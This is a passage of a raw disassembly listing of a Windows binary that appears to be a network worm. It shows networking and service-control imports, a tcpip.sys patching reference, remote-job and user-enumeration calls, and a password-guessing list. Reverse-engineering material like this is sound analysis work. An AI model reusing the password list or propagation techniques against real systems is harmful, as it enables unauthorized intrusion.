LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex) extrn HttpQueryInfoA:dword ; CODE XREF: sub_9ABAC6+B0p ; sub_9AD993+93p ... ; BOOL __stdcall InternetGetConnectedState(LPDWORD lpdwFlags, DWORD dwReserved) extrn InternetGetConnectedState:dword ; CODE XREF: StartAddress+1F0p ; sub_9A9580+25p ... ; BOOL __stdcall InternetReadFile(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead) extrn InternetReadFile:dword ; CODE XREF: sub_9ABAC6+11Ep ; DATA XREF: sub_9ABAC6+11Er ; HINTERNET __stdcall InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags) extrn InternetOpenA:dword ; CODE XREF: sub_9ABAC6+5Ap ; sub_9AD993+4Bp ; DATA XREF: ... ; BOOL __stdcall InternetCloseHandle(HINTERNET hInternet) extrn InternetCloseHandle:dword ; CODE XREF: sub_9ABAC6+133p ; sub_9ABAC6+13Cp ... ; ; Imports from ws2_32.dll ; ; int __stdcall listen(SOCKET s, int backlog) extrn listen:dword ; CODE XREF: sub_9AEAF7+79p ; DATA XREF: sub_9AEAF7+79r ; SOCKET __stdcall accept(SOCKET s, struct sockaddr *addr, int *addrlen) extrn accept:dword ; CODE XREF: sub_9AEAF7+EDp ; DATA XREF: sub_9AEAF7+EDr ; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen) extrn sendto:dword ; CODE XREF: sub_9B4EE4+12Dp ; DATA XREF: sub_9B4EE4+12Dr ; int __stdcall setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen) extrn setsockopt:dword ; CODE XREF: sub_9B4EE4+A3p ; sub_9B4EE4+CCp ; DATA XREF: ... ; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData) extrn WSAStartup:dword ; CODE XREF: StartAddress+1B6p ; DATA XREF: StartAddress+1B6r ; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen) extrn bind:dword ; CODE XREF: sub_9AEA12+A5p ; sub_9B4EE4+D7p ; DATA XREF: ... ; int __stdcall getsockname(SOCKET s, struct sockaddr *name, int *namelen) extrn getsockname:dword ; CODE XREF: sub_9AE6A2+43p ; sub_9B3F00+9Cp ; DATA XREF: ... ; int __stdcall shutdown(SOCKET s, int how) extrn shutdown:dword ; CODE XREF: sub_9AE3FA+291p ; sub_9AE6A2+34Ep ; DATA XREF: ... ; struct hostent *__stdcall gethostbyname(const char *name) extrn gethostbyname:dword ; CODE XREF: sub_9ADD49+8p ; sub_9B3F00+14p ; DATA XREF: ... ; u_long __stdcall ntohl(u_long netlong) extrn __imp_ntohl:dword ; DATA XREF: ntohlr ; u_long __stdcall ntohl_0(u_long netlong) extrn __imp_ntohl_0:dword ; CODE XREF: sub_9A8DB4+15p ; sub_9AB41B+BDp ; DATA XREF: ... ; int __stdcall connect(SOCKET s, const struct sockaddr *name, int namelen) extrn connect:dword ; CODE XREF: sub_9AB9DA+5Bp ; sub_9B3F00+7Dp ... ; int __stdcall WSAGetLastError() extrn WSAGetLastError:dword ; CODE XREF: sub_9AB9DA+66p ; DATA XREF: sub_9AB9DA+66r ; int __stdcall gethostname(char *name, int namelen) extrn gethostname:dword ; CODE XREF: sub_9A9072+2Fp ; DATA XREF: sub_9A9072+2Fr ; char *__stdcall inet_ntoa(struct in_addr in) extrn inet_ntoa:dword ; CODE XREF: sub_9A90FF+1Fp ; sub_9ADD49+19p ... ; unsigned __int32 __stdcall inet_addr(const char *cp) extrn __imp_inet_addr:dword ; CODE XREF: sub_9A9289+76p ; sub_9A9289+81p ... ; u_short __stdcall ntohs(u_short netshort) extrn ntohs:dword ; CODE XREF: sub_9AB9DA+35p ; sub_9AEA12+91p ... ; int __stdcall closesocket(SOCKET s) extrn closesocket:dword ; CODE XREF: sub_9AB41B+E7p ; sub_9AE3FA+29Ap ... ; int __stdcall send(SOCKET s, const char *buf, int len, int flags) extrn send:dword ; CODE XREF: sub_9AB936+79p ; sub_9B3F00+F8p ... ; int __stdcall select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, const struct timeval *timeout) extrn select:dword ; CODE XREF: sub_9AB869+4Ep ; sub_9AB936+50p ... ; int __stdcall __WSAFDIsSet(SOCKET fd, fd_set *) extrn __imp___WSAFDIsSet:dword ; DATA XREF: __WSAFDIsSetr ; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp) extrn ioctlsocket:dword ; CODE XREF: sub_9AB869+76p ; sub_9AB9DA+52p ... ; int __stdcall recv(SOCKET s, char *buf, int len, int flags) extrn recv:dword ; CODE XREF: sub_9AB869+99p ; sub_9B4AC0+63p ; DATA XREF: ... ; void __stdcall WSASetLastError(int iError) extrn WSASetLastError:dword ; CODE XREF: sub_9AB869+C0p ; sub_9AB936+9Cp ... ; SOCKET __stdcall socket(int af, int type, int protocol) extrn socket:dword ; CODE XREF: sub_9AB41B+31p ; sub_9AE3FA+23p ... ; int __stdcall WSAIoctl(SOCKET s, DWORD dwIoControlCode, LPVOID lpvInBuffer, DWORD cbInBuffer, LPVOID lpvOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbBytesReturned, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) extrn WSAIoctl:dword ; CODE XREF: sub_9AB41B+5Dp ; DATA XREF: sub_9AB41B+5Dr ; ; Imports from ole32.dll ; ; HRESULT __stdcall CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, void *pReserved3) extrn CoInitializeSecurity:dword ; CODE XREF: sub_9A8C1B+31p ; DATA XREF: sub_9A8C1B+31r ; HRESULT __stdcall CoCreateInstance(const IID *const rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, const IID *const riid, LPVOID *ppv) extrn CoCreateInstance:dword ; CODE XREF: sub_9A8C1B+4Ep ; sub_9A8DF5+23p ... ; void __stdcall CoUninitialize() extrn CoUninitialize:dword ; CODE XREF: sub_9A8C1B+84p ; sub_9A8FED+79p ; DATA XREF: ... ; HRESULT __stdcall CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit) extrn CoInitializeEx:dword ; CODE XREF: sub_9A8C1B+11p ; sub_9A8FED+10p ; DATA XREF: ... ; ; Imports from urlmon.dll ; ; HRESULT __stdcall ObtainUserAgentString(DWORD dwOption, LPSTR pszUAOut, DWORD *cbSize) extrn __imp_ObtainUserAgentString:dword ; DATA XREF: ObtainUserAgentStringr ; Section 2. (virtual address 00001428) ; Virtual size : 00021000 ( 135168.) ; Section size in file : 0001FBDD ( 130013.) ; Offset to raw data for section: 00000800 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 9A1428h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing ; char Name[] Name dd 1000h, 2 dup(0) ; DATA XREF: sub_9A7170+8Eo dd 1568h, 1000h, 10A4h ; char[] dd 2 dup(0) ; DATA XREF: sub_9A7170+53o dd 187Ch, 10A4h, 1214h, 2 dup(0) dd 1EC6h, 1214h, 1228h, 2 dup(0) dd 1F2Eh ; char dword_9A1474[] dword_9A1474 dd 1228h, 12D8h, 2 dup(0) ; DATA XREF: sub_9A7170+4Do dd 20EAh ; char Str2[] Str2 db 'Ø' ; DATA XREF: sub_9A722A+73o db 12h, 2 dup(0) dd 12F8h ; char Srch[] Srch db 8 dup(0) ; DATA XREF: sub_9A7410:loc_9A7487o ; sub_9A799E+105o ... dd 217Ah, 12F8h ; char dword_9A14A0[] dword_9A14A0 dd 1310h, 2 dup(0) ; DATA XREF: sub_9A74E1:loc_9A7506o ; sub_9AC33A+5o dd 21D8h ; const WCHAR dword_9A14B0 dword_9A14B0 dd 1310h, 1324h, 2 dup(0) ; DATA XREF: sub_9A74E1+2o dd 2244h, 1324h, 1330h, 2 dup(0) dd 227Eh, 1330h, 1344h ; char CommandLine[] CommandLine dd 2 dup(0) ; DATA XREF: sub_9A752A+132o dd 22C4h, 1344h, 1374h, 2 dup(0) db 90h db 23h, 2 dup(0) dd 1374h, 1384h, 2 dup(0) dd 23DEh ; char Format[] Format db '„' ; DATA XREF: sub_9A752A+47o db 13h, 2 dup(0) dd 13A0h, 0 dword_9A1520 dd 0 ; DATA XREF: sub_9A7670+A6o dd 2466h, 13A0h, 140Ch ; char Source[] Source db 8 dup(0) ; DATA XREF: sub_9A7670+9Do dd 25A6h, 140Ch, 1420h dword_9A1544 dd 2 dup(0) ; DATA XREF: StartAddress+191o ; char dword_9A154C[] dword_9A154C dd 2600h, 1420h ; DATA XREF: StartAddress+187o ; char byte_9A1554[] byte_9A1554 db 14h dup(0) ; DATA XREF: StartAddress+17Bo ; sub_9AD71D+19Co dd 61766461h, 32336970h, 6C6C642Eh, 7400h, 4F676552h, 4B6E6570h dd 78457965h dword_9A1584 dd 57h, 53676552h, 654B7465h, 63655379h, 74697275h ; DATA XREF: StartAddress+174o dword_9A1598 dd 79h, 6E65704Fh, 614D4353h ; DATA XREF: StartAddress+168o aNagerw db 'nagerW',0 ; DATA XREF: StartAddress+15Co align 4 ; char pszValue[] pszValue db 2 dup(0) ; DATA XREF: StartAddress+152o dw 6E45h dd 65536D75h, 63697672h aEsstatusw db 'esStatusW',0 ; DATA XREF: StartAddress+13Fo align 4 aOpenservicew db 'OpenServiceW',0 aS_1 db 's',0 align 4 aQueryserviceco db 'QueryServiceConfigW',0 db 0 align 2 aQueryservice_0 db 'QueryServiceConfig2W',0 db '{',0 align 2 aImpersonatelog db 'ImpersonateLoggedOnUser',0 align 4 dd 74696E49h, 696C6169h, 6553657Ah ; char ServiceName[] ServiceName db 'curityDe' ; DATA XREF: StartAddress:loc_9A78BEo aScriptor db 'scriptor',0 ; DATA XREF: sub_9A799E:loc_9A7B75o db 'x',0 align 4 aGetlengthsid db 'GetLengthSid',0 aV db 'v',0 align 4 dd 74696E49h aIalizeacl db 'ializeAcl',0 ; DATA XREF: sub_9A799E:loc_9A7B60o align 4 dd 41646441h, 73656363h, 6C6C4173h ; char aOwedace[] aOwedace db 'owedAce',0 ; DATA XREF: sub_9A799E+1A8o ; sub_9AA5A0:loc_9AA5A3o dd 65530000h, 63655374h ; char aUritydescripto[] aUritydescripto db 'urityDescriptorDacl',0 ; DATA XREF: sub_9A799E+C6o dd 65530000h, 6C694674h, 63655365h, 74697275h, 4179h dword_9A16A0 dd 65520000h, 65755167h, 61567972h, 4565756Ch, 4178h, 65520000h ; DATA XREF: sub_9A813F+6Eo dd 65704F67h, 79654B6Eh, 417845h, 65520000h, 74655367h dd 756C6156h, 41784565h, 0 aRegclosekey db 'RegCloseKey',0 dd 6F4C0000h, 70756B6Fh, 76697250h, 67656C69h, 6C615665h dd 416575h, 64410000h, 7473756Ah, 656B6F54h, 6972506Eh dd 656C6976h, 736567h, 68430000h, 65676E61h, 76726553h dd 43656369h, 69666E6Fh, 4167h, 65520000h, 74726576h, 65536F54h dd 666Ch, 72430000h, 65746165h, 76726553h, 41656369h, 0 aStartservicea db 'StartServiceA',0 align 10h aOpenscmanagera db 'OpenSCManagerA',0 align 10h dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh dd 69767265h, 61486563h, 656C646Eh, 0 aControlservice db 'ControlService',0 db 10h dd 65440000h, 6574656Ch, 76726553h, 656369h, 704F0000h dd 72506E65h, 7365636Fh, 6B6F5473h, 6E65h, 65470000h, 6B6F5474h dd 6E496E65h, 6D726F66h, 6F697461h, 6Eh, 6F6C6C41h, 65746163h dd 49646E41h, 6974696Eh, 7A696C61h, 64695365h, 0 aEqualsid db 'EqualSid',0 align 4 aFreesid db 'FreeSid',0 dd 65520000h, 756E4567h, 79654B6Dh, 577845h, 65520000h dd 74655367h, 756C6156h, 57784565h, 0 aRegqueryvaluee db 'RegQueryValueExW',0 db ' ',0 align 4 aRegflushkey db 'RegFlushKey',0 dd 65520000h, 65724367h, 4B657461h, 78457965h, 57h, 43676552h dd 74616572h, 79654B65h, 417845h, 6E72656Bh, 32336C65h dd 6C6C642Eh, 2C50000h, 556C7452h, 6E69776Eh, 3790064h dd 74696157h, 4D726F46h, 69746C75h, 4F656C70h, 63656A62h dd 7374h, 79530344h, 6D657473h, 656D6954h, 69466F54h, 6954656Ch dd 656Dh, 724600F1h, 694C6565h, 72617262h, 1DC0079h, 56746547h dd 69737265h, 78456E6Fh, 1B70041h, 53746547h, 65747379h dd 7269446Dh, 6F746365h, 417972h, 6C430032h, 4865736Fh dd 6C646E61h, 1F20065h, 626F6C47h, 72466C61h, 6565h, 6C4701EBh dd 6C61626Fh, 6F6C6C41h, 1690063h, 4C746547h, 45747361h dd 726F7272h, 13C0000h, 43746547h, 65727275h, 7250746Eh dd 7365636Fh, 37F0073h, 65646957h, 72616843h, 754D6F54h dd 4269746Ch, 657479h, 654701DBh, 72655674h, 6E6F6973h dd 25F0000h, 65766F4Dh, 656C6946h, 417845h, 6F4D025Eh dd 69466576h, 41656Ch, 654701C9h, 6D655474h, 74615070h dd 4168h, 6C53033Fh, 706565h, 65440082h, 6574656Ch, 656C6946h dd 2530041h, 6B636F4Ch, 656C6946h, 15C0000h, 46746547h dd 53656C69h, 657A69h, 72430050h, 65746165h, 656C6946h dd 3010041h, 45746553h, 726F7272h, 65646F4Dh, 6D0000h dd 61657243h, 68546574h, 64616572h, 0B70000h, 74697845h dd 636F7250h, 737365h, 704F0273h, 754D6E65h, 41786574h dd 10A0000h, 43746547h, 616D6D6Fh, 694C646Eh, 41656Eh dd 7243005Dh, 65746165h, 6574754Dh, 4178h, 6547010Eh, 6D6F4374h dd 65747570h, 6D614E72h, 4165h, 65470174h, 646F4D74h, 46656C75h dd 4E656C69h, 41656D61h, 13D0000h, 43746547h, 65727275h dd 7250746Eh, 7365636Fh, 644973h, 6944008Ah, 6C626173h dd 72685465h, 4C646165h, 61726269h, 61437972h, 736C6Ch dd 65440089h, 65636976h, 6F436F49h, 6F72746Eh, 38C006Ch dd 74697257h, 6C694665h, 1C70065h, 54746547h, 46706D65h dd 4E656C69h, 41656D61h, 831500h, 656C6544h, 69466574h dd 57656Ch, 6547016Bh, 636F4C74h, 69546C61h, 0CC00656Dh dd 72430053h, 65746165h, 656C6946h, 0CD0057h, 646E6946h dd 736F6C43h, 0D40065h, 646E6946h, 73726946h, 6C694674h dd 5765h, 754D0265h, 4269746Ch, 54657479h, 6469576Fh, 61684365h dd 1110072h, 43746547h, 75706D6Fh, 4E726574h, 57656D61h dd 3484600h, 6D726554h, 74616E69h, 72685465h, 646165h dd 6547013Fh, 72754374h, 746E6572h, 65726854h, 64496461h dd 37B3000h, 74696157h, 53726F46h, 6C676E69h, 6A624F65h dd 746365h, 655302BFh, 73614C74h, 72724574h, 2400726Fh dd 6F4D025Ch, 656C7564h, 654E3233h, 0B8007478h, 6F4D025Ah dd 656C7564h, 69463233h, 747372h, 72430070h, 65746165h dd 6C6F6F54h, 706C6568h, 6E533233h, 68737061h, 2400746Fh dd 6553032Eh, 72685474h, 50646165h, 726F6972h, 797469h dd 69560371h, 61757472h, 6F72506Ch, 74636574h, 1CECC00h dd 54746547h, 61657268h, 69725064h, 7469726Fh, 13E0079h dd 43746547h, 65727275h, 6854746Eh, 64616572h, 36E0A00h dd 74726956h, 466C6175h, 656572h, 6956036Bh, 61757472h dd 6C6C416Ch, 0D400636Fh, 65470198h, 6F725074h, 64644163h dd 73736572h, 2427400h, 64616F4Ch, 7262694Ch, 41797261h dd 176C200h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h dd 484400h, 61657243h, 69446574h, 74636572h, 4179726Fh dd 0D16B00h, 646E6946h, 73726946h, 6C694674h, 1004165h dd 654701DEh, 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh dd 416E6Fh, 6547014Ch, 69724474h, 79546576h, 416570h, 65470170h dd 676F4C74h, 6C616369h, 76697244h, 68007365h, 654701D2h dd 63695474h, 756F436Bh, 2400746Eh, 75510292h, 50797265h dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 30B0072h dd 46746553h, 54656C69h, 656D69h, 6547015Eh, 6C694674h dd 6D695465h, 2030065h, 70616548h, 6F6C6C41h, 19B0063h dd 50746547h, 65636F72h, 65487373h, 3B007061h, 65480209h dd 72467061h, 0C4006565h, 655202A4h, 69466461h, 4400656Ch dd 72500287h, 7365636Fh, 4E323373h, 747865h, 72500285h dd 7365636Fh, 46323373h, 74737269h, 34BCC00h, 65726854h dd 32336461h, 7478654Eh, 2798B00h, 6E65704Fh, 65726854h dd 64006461h, 6854034Ah, 64616572h, 69463233h, 747372h dd 72430068h, 65746165h, 6F6D6552h, 68546574h, 64616572h dd 3958B00h, 74697257h, 6F725065h, 73736563h, 6F6D654Dh dd 3007972h, 6956036Ch, 61757472h, 6C6C416Ch, 7845636Fh dd 2750F00h, 6E65704Fh, 636F7250h, 737365h, 655202A7h dd 72506461h, 7365636Fh, 6D654D73h, 79726Fh, 65530305h dd 6C694674h, 74744165h, 75626972h, 41736574h, 1573400h dd 46746547h, 41656C69h, 69727474h, 65747562h, 89004173h dd 6547013Ah, 72754374h, 746E6572h, 65726944h, 726F7463h dd 0FF004179h, 72430063h, 65746165h, 636F7250h, 41737365h dd 21A0000h, 65746E49h, 636F6C72h, 4464656Bh, 65726365h dd 746E656Dh, 21E0000h, 65746E49h, 636F6C72h, 4964656Bh dd 6572636Eh, 746E656Dh, 21B0000h, 65746E49h, 636F6C72h dd 4564656Bh, 61686378h, 65676Eh, 7243004Ch, 65746165h dd 6E657645h, 4174h, 65530302h, 65764574h, 746Eh, 704F026Ch dd 76456E65h, 41746E65h, 1BC4000h, 53746547h, 65747379h dd 6D69546Dh, 706D0065h, 6C642E72h, 6Ch, 74654E57h, 43646441h dd 656E6E6Fh, 6F697463h, 57326Eh, 4E570000h, 64417465h dd 6E6F4364h, 7463656Eh, 326E6F69h, 41h, 74654E57h, 636E6143h dd 6F436C65h, 63656E6Eh, 6E6F6974h, 4132h, 4E570000h, 61437465h dd 6C65636Eh, 6E6E6F43h, 69746365h, 57326E6Fh, 736D0000h dd 74726376h, 6C6C642Eh, 0 a_stricmp db '_stricmp',0 align 4 a_initterm db '_initterm',0 align 4 a_adjust_fdiv db '_adjust_fdiv',0 align 4 aCalloc db 'calloc',0 align 4 dd 73730000h, 666E6163h, 0 aMemmove db 'memmove',0 dd 73620000h, 63726165h, 68h, 7362616Ch, 0 dd 6E6973h, 6F6C0000h, 67h, 74727473h, 6B6Fh, 74610000h dd 696Fh, 775F0000h, 75647363h, 70h, 6E697270h, 6674h dd 74730000h, 79706372h, 0 aStrchr db 'strchr',0 align 4 dd 74730000h, 706D6372h, 0 aStrcat db 'strcat',0 align 4 dd 63770000h, 72747373h, 0 aMemcpy db 'memcpy',0 align 10h dd 735F0000h, 776C7274h, 72h, 73727473h, 7274h, 735F0000h dd 75647274h, 70h, 6E736377h, 797063h, 63770000h, 6E656C73h dd 0 aMalloc db 'malloc',0 align 4 dd 72660000h, 6565h, 65720000h, 6F6C6C61h, 63h, 63736377h dd 7461h, 63770000h, 79706373h, 0 aWcscmp db 'wcscmp',0 align 4 dd 656D0000h, 7465736Dh, 0 a_snwprintf db '_snwprintf',0 align 4 dd 656D0000h, 706D636Dh, 0 aStrncat db 'strncat',0 dd 72730000h, 646E61h, 61720000h, 646Eh, 735F0000h, 6972706Eh dd 66746Eh, 74730000h, 70636E72h, 79h, 72727473h, 726863h dd 735F0000h, 696E7274h, 706D63h, 74730000h, 6E656C72h dd 0 a_memicmp db '_memicmp',0 align 2 aNetapi32_dll db 'netapi32.dll',0 align 4 dd 654E0000h, 69704174h, 66667542h, 72467265h, 6565h, 654E0000h dd 68635374h, 6C756465h, 626F4A65h, 6C6544h, 654E0000h dd 68635374h, 6C756465h, 626F4A65h, 6D756E45h, 0 aNetschedulejob db 'NetScheduleJobAdd',0 align 4 aNetuserenum db 'NetUserEnum',0 dd 654E0000h, 72655374h, 45726576h, 6D756Eh, 654E0000h dd 736B5774h, 65476174h, 666E4974h, 6C6F006Fh, 74756165h dd 642E3233h, 6C6Ch, 61560000h, 6E616972h, 656C4374h, 7261h dd 61560000h, 6E616972h, 696E4974h, 74h, 46737953h, 53656572h dd 6E697274h, 67h, 53737953h, 6E697274h, 6E654C67h, 0 aSysallocstring db 'SysAllocString',0 align 4 aRpcrt4_dll db 'rpcrt4.dll',0 align 4 dd 70520000h, 6E694263h, 676E6964h, 6D6F7246h, 69727453h dd 6942676Eh, 6E69646Eh, 4167h, 70520000h, 72745363h, 42676E69h dd 69646E69h, 6F43676Eh, 736F706Dh, 4165h, 644E0000h, 696C4372h dd 43746E65h, 326C6C61h, 0 aRpcbindingfree db 'RpcBindingFree',0 align 4 aShell32_dll_0 db 'shell32.dll',0 dd 48530000h, 53746547h, 65537465h, 6E697474h, 7367h, 48530000h dd 53746547h, 69636570h, 6F466C61h, 7265646Ch, 68746150h dd 68730041h, 7061776Ch, 6C642E69h, 6Ch, 65444853h, 6574656Ch dd 4179654Bh, 0 aShdeletevaluea db 'SHDeleteValueA',0 align 4 dd 74530000h, 72745372h, 5749h, 74530000h, 72745372h, 4149h dd 72657375h, 642E3233h, 6C6Ch, 65470000h, 73614C74h, 706E4974h dd 6E497475h, 6F66h, 6F500000h, 654D7473h, 67617373h, 4165h dd 65470000h, 676C4474h, 6D657449h, 4100h, 6D756E45h, 65726854h dd 69576461h, 776F646Eh, 73h, 57666544h, 6F646E69h, 6F725077h dd 65004163h, 69440000h, 74617073h, 654D6863h, 67617373h dd 49004165h, 65520000h, 74736967h, 6C437265h, 41737361h dd 0 aCreatewindowex db 'CreateWindowExA',0 dd 65470000h, 73654D74h, 65676173h, 41h, 6E617254h, 74616C73h dd 73654D65h, 65676173h, 7200h, 64616F4Ch, 69727453h, 41676Eh dd 73726576h, 2E6E6F69h, 6C6C64h, 65560000h, 65755172h dd 61567972h, 4165756Ch, 6F00h, 46746547h, 56656C69h, 69737265h dd 6E496E6Fh, 69536F66h, 41657Ah, 65470000h, 6C694674h dd 72655665h, 6E6F6973h, 6F666E49h, 69770041h, 656E696Eh dd 6C642E74h, 6Ch, 65746E49h, 74656E72h, 6E65704Fh, 416C7255h dd 6100h, 70747448h, 72657551h, 666E4979h, 6D00416Fh, 6E490000h dd 6E726574h, 65477465h, 6E6F4374h, 7463656Eh, 74536465h dd 657461h, 6E490000h, 6E726574h, 65527465h, 69466461h dd 6500656Ch, 6E490000h, 6E726574h, 704F7465h, 416E65h dd 6E490000h, 6E726574h, 6C437465h, 4865736Fh, 6C646E61h dd 73770065h, 32335F32h, 6C6C642Eh, 6500h, 7473696Ch, 6E65h dd 63610000h, 74706563h, 0 aSendto_0 db 'sendto',0 align 10h dd 65730000h, 636F7374h, 74706F6Bh, 0 aWsastartup db 'WSAStartup',0 a0 db '0',0 align 2 aBind db 'bind',0 a0_0 db '0',0 align 2 aGetsockname db 'getsockname',0 align 4 aShutdown db 'shutdown',0 a2 db '2',0 align 10h aGethostbyname db 'gethostbyname',0 align 10h aNtohl db 'ntohl',0 align 4 aNtohl_0 db 'ntohl',0 align 10h aConnect db 'connect',0 dd 53570000h, 74654741h, 7473614Ch, 6F727245h, 72h, 68746567h dd 6E74736Fh, 656D61h, 6E690000h, 6E5F7465h, 616F74h, 6E690000h dd 615F7465h, 726464h, 746E0000h, 73686Fh, 6C630000h, 7365736Fh dd 656B636Fh, 74h, 646E6573h, 0 aSelect db 'select',0 align 4 dd 5F5F0000h, 46415357h, 53734944h, 7465h, 6F690000h, 736C7463h dd 656B636Fh, 74h, 76636572h, 0 aWsasetlasterro db 'WSASetLastError',0 dd 6F730000h, 74656B63h, 0 aWsaioctl db 'WSAIoctl',0 align 2 aOle32_dll db 'ole32.dll',0 dd 6F430000h, 74696E49h, 696C6169h, 6553657Ah, 69727563h dd 7974h, 6F430000h, 61657243h, 6E496574h, 6E617473h, 6563h dd 6F430000h, 6E696E55h, 61697469h, 657A696Ch, 0 aCoinitializeex db 'CoInitializeEx',0 align 10h aUrlmon_dll db 'urlmon.dll',0 align 4 db 0 align 2 aObtainuseragen db 'ObtainUserAgentString',0 dd 1Fh dup(0) stru_9A26A0 _msEH <0FFFFFFFFh, 0, offset sub_9A7CCC> ; DATA XREF: sub_9A7C6F+2o ; char aDriversTcpip_s[] aDriversTcpip_s db '\drivers\tcpip.sys',0 ; DATA XREF: sub_9A7E5A+27o align 10h stru_9A26C0 _msEH <0FFFFFFFFh, offset loc_9A7ECA, offset loc_9A7ECE> ; DATA XREF: sub_9A7E5A+5o ; const CHAR Password Password db 0 ; DATA XREF: sub_9A7F48+1Do ; sub_9A8326+9r ... align 10h ; char FileName[] FileName db '\\.\TcpIp_Perf',0 ; DATA XREF: sub_9A7FAE+12Fo align 10h ; char PrefixString[] PrefixString db '0',0 ; DATA XREF: sub_9A7FAE+4Bo ; sub_9AC396+32o ... align 4 ; char aSoftwareMicros[] aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Applets',0 ; DATA XREF: sub_9A81C3+Co ; sub_9A81F5+19o ; char word_9A2716[] word_9A2716 dw 0 ; DATA XREF: sub_9A81C3+6o ; sub_9A81F5+13o dword_9A2718 dd 706967h, 2 dup(39393939h), 0 ; DATA XREF: .text:009B93F0o a9999999 db '9999999',0 ; DATA XREF: .text:009B93ECo a999999 db '999999',0 ; DATA XREF: .text:009B93E8o align 4 a99999 db '99999',0 ; DATA XREF: .text:009B93E4o align 10h a9999 db '9999',0 ; DATA XREF: .text:009B93E0o align 4 a999 db '999',0 ; DATA XREF: .text:009B93DCo a99 db '99',0 ; DATA XREF: .text:009B93D8o align 10h a9: ; DATA XREF: .text:009B93D4o unicode 0, <9>,0 a88888888 db '88888888',0 ; DATA XREF: .text:009B93D0o align 10h a8888888 db '8888888',0 ; DATA XREF: .text:009B93CCo a888888 db '888888',0 ; DATA XREF: .text:009B93C8o align 10h a88888 db '88888',0 ; DATA XREF: .text:009B93C4o align 4 a8888 db '8888',0 ; DATA XREF: .text:009B93C0o align 10h a888 db '888',0 ; DATA XREF: .text:009B93BCo a88 db '88',0 ; DATA XREF: .text:009B93B8o align 4 a8: ; DATA XREF: .text:009B93B4o unicode 0, <8>,0 a77777777 db '77777777',0 ; DATA XREF: .text:009B93B0o align 4 a7777777 db '7777777',0 ; DATA XREF: .text:009B93ACo a777777 db '777777',0 ; DATA XREF: .text:009B93A8o align 4 a77777 db '77777',0 ; DATA XREF: .text:009B93A4o align 10h a7777 db '7777',0 ; DATA XREF: .text:009B93A0o align 4 a777 db '777',0 ; DATA XREF: .text:009B939Co a77 db '77',0 ; DATA XREF: .text:009B9398o align 10h a7: ; DATA XREF: .text:009B9394o unicode 0, <7>,0 a66666666 db '66666666',0 ; DATA XREF: .text:009B9390o align 10h a6666666 db '6666666',0 ; DATA XREF: .text:009B938Co a666666 db '666666',0 ; DATA XREF: .text:009B9388o align 10h a66666 db '66666',0 ; DATA XREF: .text:009B9384o align 4 a6666 db '6666',0 ; DATA XREF: .text:009B9380o align 10h a666 db '666',0 ; DATA XREF: .text:009B937Co a66 db '66',0 ; DATA XREF: .text:009B9378o align 4 a6: ; DATA XREF: .text:009B9374o unicode 0, <6>,0 a55555555 db '55555555',0 ; DATA XREF: .text:009B9370o align 4 a5555555 db '5555555',0 ; DATA XREF: .text:009B936Co a555555 db '555555',0 ; DATA XREF: .text:009B9368o align 4 a55555 db '55555',0 ; DATA XREF: .text:009B9364o align 10h a5555 db '5555',0 ; DATA XREF: .text:009B9360o align 4 a555 db '555',0 ; DATA XREF: .text:009B935Co a55 db '55',0 ; DATA XREF: .text:009B9358o align 10h a5: ; DATA XREF: .text:009B9354o unicode 0, <5>,0 a44444444 db '44444444',0 ; DATA XREF: .text:009B9350o align 10h a4444444 db '4444444',0 ; DATA XREF: .text:009B934Co a444444 db '444444',0 ; DATA XREF: .text:009B9348o align 10h a44444 db '44444',0 ; DATA XREF: .text:009B9344o align 4 a4444 db '4444',0 ; DATA XREF: .text:009B9340o align 10h a444 db '444',0 ; DATA XREF: .text:009B933Co a44 db '44',0 ; DATA XREF: .text:009B9338o align 4 a4: ; DATA XREF: .text:009B9334o unicode 0, <4>,0 a33333333 db '33333333',0 ; DATA XREF: .text:009B9330o align 4 a3333333 db '3333333',0 ; DATA XREF: .text:009B932Co a333333 db '333333',0 ; DATA XREF: .text:009B9328o align 4 a33333 db '33333',0 ; DATA XREF: .text:009B9324o align 10h a3333 db '3333',0 ; DATA XREF: .text:009B9320o align 4 a333 db '333',0 ; DATA XREF: .text:009B931Co a33 db '33',0 ; DATA XREF: .text:009B9318o align 10h a3: ; DATA XREF: .text:009B9314o unicode 0, <3>,0 a22222222 db '22222222',0 ; DATA XREF: .text:009B9310o align 10h a2222222 db '2222222',0 ; DATA XREF: .text:009B930Co a222222 db '222222',0 ; DATA XREF: .text:009B9308o align 10h a22222 db '22222',0 ; DATA XREF: .text:009B9304o align 4 a2222 db '2222',0 ; DATA XREF: .text:009B9300o align 10h a222 db '222',0 ; DATA XREF: .text:009B92FCo a22 db '22',0 ; DATA XREF: .text:009B92F8o align 4 a2_0: ; DATA XREF: .text:009B92F4o unicode 0, <2>,0 a11111111 db '11111111',0 ; DATA XREF: .text:009B92F0o align 4 a1111111 db '1111111',0 ; DATA XREF: 